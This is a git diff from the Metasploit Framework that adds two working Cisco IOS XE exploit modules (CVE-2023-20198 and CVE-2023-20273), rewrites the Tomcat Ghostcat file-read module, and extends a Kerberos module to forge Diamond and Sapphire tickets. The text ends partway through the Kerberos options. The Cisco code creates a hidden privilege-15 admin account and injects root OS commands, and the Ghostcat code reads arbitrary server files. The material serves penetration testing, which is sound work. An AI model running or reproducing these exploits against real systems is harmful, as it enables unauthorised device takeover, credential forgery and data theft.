a/lib/rex/proto/smb/simple_client.rb +++ b/lib/rex/proto/smb/simple_client.rb @@ -5,22 +5,22 @@ module SMB class SimpleClient -require 'rex/text' -require 'rex/struct2' -require 'ruby_smb' + require 'rex/text' + require 'rex/struct2' + require 'ruby_smb' -# Some short-hand class aliases -CONST = Rex::Proto::SMB::Constants -CRYPT = Rex::Proto::SMB::Crypt -UTILS = Rex::Proto::SMB::Utils -XCEPT = Rex::Proto::SMB::Exceptions -EVADE = Rex::Proto::SMB::Evasions + # Some short-hand class aliases + CONST = Rex::Proto::SMB::Constants + CRYPT = Rex::Proto::SMB::Crypt + UTILS = Rex::Proto::SMB::Utils + XCEPT = Rex::Proto::SMB::Exceptions + EVADE = Rex::Proto::SMB::Evasions -# Public accessors -attr_accessor :last_error, :server_max_buffer_size + # Public accessors + attr_accessor :last_error, :server_max_buffer_size, :address, :port -# Private accessors -attr_accessor :socket, :client, :direct, :shares, :last_share, :versions + # Private accessors + attr_accessor :socket, :client, :direct, :shares, :last_share, :versions # Pass the socket object and a boolean indicating whether the socket is netbios or cifs def initialize(socket, direct = false, versions = [1, 2, 3], always_encrypt: true, backend: nil, client: nil) @@ -53,6 +53,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share, :versions 'obscure_trans_pipe' => EVADE::EVASION_NONE, } end + @address, @port = self.socket.peerinfo.split(':') end def login(name = '', user = '', pass = '', domain = '', diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index a9102ad697..5246e0137f 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.156' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.161' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.26' # Needed by msfgui and other rpc components @@ -147,7 +147,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'net-ssh' spec.add_runtime_dependency 'ed25519' # Adds ed25519 keys for net-ssh spec.add_runtime_dependency 'bcrypt_pbkdf' - spec.add_runtime_dependency 'ruby_smb', '~> 3.2.0' + spec.add_runtime_dependency 'ruby_smb', '~> 3.3.0' spec.add_runtime_dependency 'net-imap' # Used in Postgres auth for its SASL stringprep implementation spec.add_runtime_dependency 'net-ldap' spec.add_runtime_dependency 'net-smtp' diff --git a/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb b/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb new file mode 100644 index 0000000000..b42db4fbf1 --- /dev/null +++ b/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::CiscoIosXe + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cisco IOX XE unauthenticated Command Line Interface (CLI) execution', + 'Description' => %q{ + This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the + Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15. + + You must specify the IOS command mode to execute a CLI command in. Valid modes are `user`, `privileged`, and + `global`. To run a command in "Privileged" mode, set the `CMD` option to the command you want to run, + e.g. `show version` and set the `MODE` to `privileged`. To run a command in "Global Configuration" mode, set + the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r` and set + the `MODE` to `global`. + + The vulnerable IOS XE versions are: + 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, + 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, + 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, + 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, + 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, + 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, + 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, + 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, + 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, + 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, + 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, + 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, + 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, + 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, + 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, + 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, + 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, + 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, + 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, + 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, + 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, + 17.11.99SW + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF module + ], + 'References' => [ + ['CVE', '2023-20198'], + # Vendor advisories. + ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'], + ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], + # Vendor list of (205) vulnerable versions. + ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'], + # Technical details on CVE-2023-20198. + ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'], + ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'] + ], + 'DisclosureDate' => '2023-10-16', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('CMD', [ true, 'The CLI command to execute.', 'show version']), + OptString.new('MODE', [ true, "The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.", Mode::PRIVILEGED_EXEC]) + ] + ) + end + + def run + # We convert escaped newlines into actual newlines, as the Cisco CLI will allow you to navigate from an upper mode + # (e.g. Global) down to a lower mode (e.g. Privileged or User) via the "exit" command. We explicitly let a user + # specify the mode to execute their CMD in, via the MODE option, however we must still support the user specifying + # newlines as they may want to execute multiple commands (or manually navigate the difference modes). + cmd = datastore['CMD'].gsub('\\n', "\n") + if cmd.empty? + print_error('Command can not be empty.') + return + end + + mode = Mode.to_mode(datastore['MODE'].to_s.downcase) + if mode.nil? + print_error("Invalid mode specified, valid values are 'user', 'privileged', or 'global'") + return + end + + result = run_cli_command(cmd, mode) + if result.nil? + print_error('Failed to run the command.') + return + end + + print_line(result) + end + +end diff --git a/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb b/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb new file mode 100644 index 0000000000..3612b02d4e --- /dev/null +++ b/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::CiscoIosXe + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Retry + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cisco IOX XE unauthenticated OS command execution', + 'Description' => %q{ + This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE + devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges. + + This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user, + CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read + back via the webserver. Finally the output file is deleted and the admin user is removed. + + The vulnerable IOS XE versions are: + 16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, + 16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, + 16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, + 16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, + 16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, + 16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, + 16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, + 16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, + 16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, + 16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, + 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, + 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, + 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, + 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, + 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, + 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, + 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, + 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, + 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, + 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, + 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, + 17.11.99SW + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF module + ], + 'References' => [ + ['CVE', '2023-20198'], + ['CVE', '2023-20273'], + # Vendor advisories. + ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'], + ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], + # Vendor list of (205) vulnerable versions. + ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'], + # Technical details on CVE-2023-20198. + ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'], + ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'], + # Technical details on CVE-2023-20273. + ['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'] + ], + 'DisclosureDate' => '2023-10-16', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('CMD', [ true, 'The OS command to execute.', 'id']), + OptString.new('CISCO_ADMIN_USERNAME', [false, 'The username of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin account.']), + OptString.new('CISCO_ADMIN_PASSWORD', [false, 'The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password.']), + OptInt.new('REMOVE_OUTPUT_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to removing the commands output file.', 30]) + ] + ) + end + + def run + # If the user has supplied a username/password, we can use these creds to leverage CVE-2023-20273 and execute an OS + # command. If a username/password have not been supplied, we can leverage CVE-2023-20198 to create a new admin + # account, and then leverage CVE-2023-20273 to execute an OS command. This opens up the ability to leverage the + # auxiliary module for CVE-2023-20198 to create a new admin account once, then use those new admin creds in this + # module to execute multiple OS command without the need to create a new 'temporary' admin account for every + # invocation of this module (which will reduce the noise in the devices logs). + if !datastore['CISCO_ADMIN_USERNAME'].blank? && !datastore['CISCO_ADMIN_PASSWORD'].blank? + exececute_os_command(datastore['CISCO_ADMIN_USERNAME'], datastore['CISCO_ADMIN_PASSWORD']) + else + admin_username = Rex::Text.rand_text_alpha(8) + admin_password = Rex::Text.rand_text_alpha(8) + + unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION) + print_error('Failed to create admin user') + return + end + + begin + vprint_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") + + exececute_os_command(admin_username, admin_password) + ensure + vprint_status("Removing user '#{admin_username}'") + + unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) + print_warning('Failed to remove user') + end + end + end + end + + def exececute_os_command(admin_username, admin_password) + out_file = Rex::Text.rand_text_alpha(8) + + cmd = "$(openssl enc -base64 -d <<< #{Base64.strict_encode64(datastore['CMD'])}) &> /var/www/#{out_file}" + + unless run_os_command(cmd, admin_username, admin_password) + print_error('Failed to run command') + return + end + + begin + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('webui', out_file), + 'headers' => { + 'Authorization' => basic_auth(admin_username, admin_password) + } + ) + + unless res&.code == 200 + print_error('Failed to get command output') + return + end + + print_line(res.body) + ensure + vprint_status("Removing output file '/var/www/#{out_file}'") + + # Deleting the output file can take more than one attempt. + success = retry_until_truthy(timeout: datastore['REMOVE_OUTPUT_TIMEOUT']) do + if run_os_command("rm /var/www/#{out_file}", admin_username, admin_password) + next true + end + + vprint_status('Failed to delete output file, waiting and trying again...') + false + end + + unless success + print_error("Failed to delete output file '/var/www/#{out_file}") + print_error(out_file) + end + end + end +end diff --git a/modules/auxiliary/admin/http/tomcat_ghostcat.rb b/modules/auxiliary/admin/http/tomcat_ghostcat.rb index ea0af33a3f..f84da36403 100644 --- a/modules/auxiliary/admin/http/tomcat_ghostcat.rb +++ b/modules/auxiliary/admin/http/tomcat_ghostcat.rb @@ -1,7 +1,18 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/apache_j_p' + class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report + ApacheJP = Rex::Proto::ApacheJP + + GhostCatResponse = Struct.new(:status, :headers, :body) + def initialize(info = {}) super( update_info( @@ -49,157 +60,16 @@ class MetasploitModule < Msf::Auxiliary ) register_options( [ - Opt::RPORT(8080, true, 'The Apache Tomcat webserver port'), - OptString.new('FILENAME', [true, 'File name', '/WEB-INF/web.xml']), - OptBool.new('SSL', [true, 'SSL', false]), - OptPort.new('AJP_PORT', [false, 'The Apache JServ Protocol (AJP) port', 8009]) + Opt::RPORT(8009, true, 'The Apache JServ Protocol (AJP) port'), + OptString.new('FILENAME', [true, 'File name', '/WEB-INF/web.xml']) ] ) - - @body_data = '' - @header_data = '' - end - - def method2code(method) - methods = { - 'OPTIONS' => 1, - 'GET' => 2, - 'HEAD' => 3, - 'POST' => 4, - 'PUT' => 5, - 'DELETE' => 6, - 'TRACE' => 7, - 'PROPFIND' => 8 - } - code = methods[method] - code - end - - def make_headers(headers) - header2code = { - 'accept' => "\xA0\x01", - 'accept-charset' => "\xA0\x02", - 'accept-encoding' => "\xA0\x03", - 'accept-language' => "\xA0\x04", - 'authorization' => "\xA0\x05", - 'connection' => "\xA0\x06", - 'content-type' => "\xA0\x07", - 'content-length' => "\xA0\x08", - 'cookie' => "\xA0\x09", - 'cookie2' => "\xA0\x0A", - 'host' => "\xA0\x0B", - 'pragma' => "\xA0\x0C", - 'referer' => "\xA0\x0D", - 'user-agent' => "\xA0\x0E" - } - headers_ajp = [] - headers.each do |(header_name, header_value)| - code = header2code[header_name].to_s - - if code != '' - headers_ajp.append(code) - else - headers_ajp.append(ajp_string(header_name.to_s)) - end - headers_ajp.append(ajp_string(header_value.to_s)) - end - - [int2byte(headers.length, 2), headers_ajp] - end - - def make_attributes(attributes) - attribute2code = { - 'remote_user' => "\x03", - 'auth_type' => "\x04", - 'query_string' => "\x05", - 'jvm_route' => "\x06", - 'ssl_cert' => "\x07", - 'ssl_cipher' => "\x08", - 'ssl_session' => "\x09", - 'req_attribute' => "\x0A", - 'ssl_key_size' => "\x0B" - } - attributes_ajp = [] - attributes.each do |attr| - name = attr.keys.first.to_s - code = (attribute2code[name]).to_s - value = attr[name] - next unless code != '' - - attributes_ajp.append(code) - if code == "\x0A" - value.each do |v| - attributes_ajp.append(ajp_string(v.to_s)) - end - else - attributes_ajp.append(ajp_string(value.to_s)) - end - end - - attributes_ajp - end - - def ajp_string(message_bytes) - "#{int2byte(message_bytes.length, 2)}#{message_bytes}\x00" - end - - def int2byte(data, byte_len = 1) - if byte_len == 1 - [data].pack('C') - else - [data].pack('n*') - end - end - - def make_forward_request_package(method, headers, attributes) - prefix_code_int = 2 - prefix_code_bytes = int2byte(prefix_code_int) - method_bytes = int2byte(method2code(method)) - protocol_bytes = 'HTTP/1.1' - req_uri_bytes = '/index.txt' - remote_addr_bytes = '127.0.0.1' - remote_host_bytes = 'localhost' - server_name_bytes = datastore['RHOST'].to_s - - if datastore['SSL'] == true - is_ssl_boolean = 1 - else - is_ssl_boolean = 0 - end - server_port_int = datastore['RPORT'] - if server_port_int.to_s == '' - server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 - end - is_ssl_bytes = int2byte(is_ssl_boolean, 1) - server_port_bytes = int2byte(server_port_int, 2) - headers.append(['host', "#{server_name_bytes}:#{server_port_int}"]) - num_headers_bytes, headers_ajp_bytes = make_headers(headers) - - attributes_ajp_bytes = make_attributes(attributes) - message = [] - message.append(prefix_code_bytes) - message.append(method_bytes) - message.append(ajp_string(protocol_bytes.to_s)) - message.append(ajp_string(req_uri_bytes.to_s)) - message.append(ajp_string(remote_addr_bytes.to_s)) - message.append(ajp_string(remote_host_bytes.to_s)) - message.append(ajp_string(server_name_bytes.to_s)) - message.append(server_port_bytes) - message.append(is_ssl_bytes) - message.append(num_headers_bytes) - message += headers_ajp_bytes - message += attributes_ajp_bytes - message.append("\xff") - message_bytes = message.join - send_bytes = "\x12\x34#{ajp_string(message_bytes.to_s)}" - - send_bytes end def send_recv_once(data) buf = '' begin - connect(true, { 'RHOST' => datastore['RHOST'].to_s, 'RPORT' => datastore['AJP_PORT'].to_i, 'SSL' => datastore['SSL'] }) + connect sock.put(data) buf = sock.get(30) || '' rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e @@ -210,101 +80,74 @@ class MetasploitModule < Msf::Auxiliary buf end - def read_buf_string(buf, idx) - content = '' - len = buf[idx..(idx + 2)].unpack('n')[0] - idx += 2 - content += (buf[idx..(idx + len - 1)]).to_s - idx += len + 1 - [idx, content] - end + def parse_response(buf) + parsed_response = GhostCatResponse.new - def parse_response(buf, idx) - common_response_headers = { - "\x01" => 'Content-Type', - "\x02" => 'Content-Language', - "\x03" => 'Content-Length', - "\x04" => 'Date', - "\x05" => 'Last-Modified', - "\x06" => 'Location', - "\x07" => 'Set-Cookie', - "\x08" => 'Set-Cookie2', - "\x09" => 'Servlet-Engine', - "\x0a" => 'Status', - "\x0b" => 'WWW-Authenticate' - } - idx += 2 - idx += 2 - if buf[idx] == "\x04" - idx += 1 - print @header_data - @header_data += 'Status Code: ' - idx += 2 - idx, val = read_buf_string(buf, idx) - @header_data += val - @header_data += "\n" - header_num = buf[idx..(idx + 2)].unpack('n')[0] - idx += 2 + until buf.empty? + chunk = buf[4...(4 + buf.unpack1('xxn'))] + buf = buf[(4 + chunk.length)...] - (1..header_num).each do |_i| - if buf[idx] == "\xA0" - idx += 1 - @header_data += "#{common_response_headers[buf[idx]]}: " - idx += 1 - else - idx, val = read_buf_string(buf, idx) - @header_data += val - @header_data += ': ' - end - - idx, val = read_buf_string(buf, idx) - @header_data += val - @header_data += "\n" + case chunk[0].ord + when ApacheJP::ApacheJPSendBodyChunk::PREFIX_CODE + send_body_chunk = ApacheJP::ApacheJPSendBodyChunk.read(chunk) + parsed_response.body = send_body_chunk.body_chunk.to_s + when ApacheJP::ApacheJPSendHeaders::PREFIX_CODE + send_headers = ApacheJP::ApacheJPSendHeaders.read(chunk) + parsed_response.status = send_headers.http_status_code.to_i + parsed_response.headers = send_headers.headers.snapshot.map { |header| [header.header_name.to_s, header.header_value.to_s] }.to_h + when ApacheJP::ApacheJPEndResponse::PREFIX_CODE + break + when ApacheJP::ApacheJPGetBodyChunk::PREFIX_CODE + next # no need to process this chunk + else + fail_with(Failure::UnexpectedReply, "Received unknown AJP prefix code: #{chunk[0].ord}") end - elsif buf[idx] == "\x05" - return 0 - elsif buf[idx] == "\x03" - idx += 1 - idx, val = read_buf_string(buf, idx) - @body_data += val - else - return 1 end - parse_response(buf, idx) + parsed_response end - def read_success?(header) - # As far as we can tell, a successful status code can be either: - # 200 - # 200 OK - # OK - # And so this should handle all three. - # See this issue for more details: - # https://github.com/rapid7/metasploit-framework/issues/15673 - - status_code = header.scan(/Status Code: (\w+)/).flatten.first - - (status_code == '200' || status_code == 'OK') + def read_success?(ghost_cat_response) + ghost_cat_response.status == 200 end def read_remote_file - headers = [] - method = 'GET' - target_file = datastore['FILENAME'].to_s - attributes = [ - { 'req_attribute' => ['javax.servlet.include.request_uri', 'index'] }, - { 'req_attribute' => ['javax.servlet.include.path_info', target_file] }, - { 'req_attribute' => ['javax.servlet.include.servlet_path', '/'] } - ] - data = make_forward_request_package(method, headers, attributes) - buf = send_recv_once(data) - parse_response(buf, 0) + ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new( + http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_GET, + req_uri: '/index.txt', + remote_addr: '127.0.0.1', + remote_host: 'localhost', + server_name: datastore['RHOST'].to_s, + headers: [ + { header_name: 'host', header_value: "#{datastore['RHOST']}:8080" } + ], + attributes: [ + { + code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE, + attribute_name: 'javax.servlet.include.request_uri', + attribute_value: 'index' + }, + { + code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE, + attribute_name: 'javax.servlet.include.path_info', + attribute_value: datastore['FILENAME'].to_s + }, + { + code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE, + attribute_name: 'javax.servlet.include.servlet_path', + attribute_value: '/' + }, + { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR } + ] + ) + + data = "\x12\x34" + [ ajp_forward_request.num_bytes ].pack('n') + ajp_forward_request.to_binary_s + parse_response(send_recv_once(data)) end def check - read_remote_file - if read_success?(@header_data) + ghost_cat_response = read_remote_file + if read_success?(ghost_cat_response) return Exploit::CheckCode::Appears("Successfully read file #{datastore['FILENAME']}") end @@ -314,18 +157,17 @@ class MetasploitModule < Msf::Auxiliary end def run - read_remote_file - print @header_data - print @body_data + ghost_cat_response = read_remote_file + print ghost_cat_response.body unless ghost_cat_response.body.blank? - if read_success?(@header_data) - file = store_loot( - datastore['FILENAME'].to_s, 'text/plain', datastore['RHOST'].to_s, - @body_data, 'Ghostcat File Read/Inclusion', 'Read file', datastore['FILENAME'] - ) - print_good file - else + unless read_success?(ghost_cat_response) print_error 'Unable to read file, target may not be vulnerable.' end + + file = store_loot( + datastore['FILENAME'].to_s, 'text/plain', datastore['RHOST'].to_s, + ghost_cat_response.body, 'Ghostcat File Read/Inclusion', 'Read file', datastore['FILENAME'] + ) + print_good "File contents save to: #{file}" end end diff --git a/modules/auxiliary/admin/kerberos/forge_ticket.rb b/modules/auxiliary/admin/kerberos/forge_ticket.rb index b50b43795f..7cc9195a06 100644 --- a/modules/auxiliary/admin/kerberos/forge_ticket.rb +++ b/modules/auxiliary/admin/kerberos/forge_ticket.rb @@ -12,55 +12,68 @@ class MetasploitModule < Msf::Auxiliary super( update_info( info, - 'Name' => 'Kerberos Silver/Golden Ticket Forging', + 'Name' => 'Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging', 'Description' => %q{ - This module forges a Kerberos ticket + This module forges a Kerberos ticket. Four different techniques can be used: + - Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account. + - Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges. + - Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket. + - Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket. }, 'Author' => [ 'Benjamin Delpy', # Original Implementation 'Dean Welch', # Metasploit Module - 'alanfoster' # Enhancements + 'alanfoster', # Enhancements + 'smashery' # Enhancements ], 'References' => [ %w[URL https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it] ], 'License' => MSF_LICENSE, 'Notes' => { - 'Stability' => [], - 'SideEffects' => [], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [], - 'AKA' => ['Silver Ticket', 'Golden Ticket', 'Ticketer', 'Klist'] + 'AKA' => ['Ticketer', 'Klist'] }, 'Actions' => [ ['FORGE_SILVER', { 'Description' => 'Forge a Silver Ticket' } ], ['FORGE_GOLDEN', { 'Description' => 'Forge a Golden Ticket' } ], + ['FORGE_DIAMOND', { 'Description' => 'Forge a Diamond Ticket' } ], + ['FORGE_SAPPHIRE', { 'Description' => 'Forge a Sapphire Ticket' } ], ], 'DefaultAction' => 'FORGE_SILVER' ) ) + based_on_real_ticket_condition = ['ACTION', 'in', %w[FORGE_DIAMOND FORGE_SAPPHIRE]] + forged_manually_condition = ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN]] + register_options( [ - OptString.new('USER', [ true, 'The Domain User' ]), - OptInt.new('USER_RID', [ true, "The Domain User's relative identifier(RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID]), + OptString.new('USER', [ true, 'The Domain User to forge the ticket for' ]), + OptInt.new('USER_RID', [ true, "The Domain User's relative identifier (RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID], conditions: ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN FORGE_DIAMOND]]), OptString.new('NTHASH', [ false, 'The 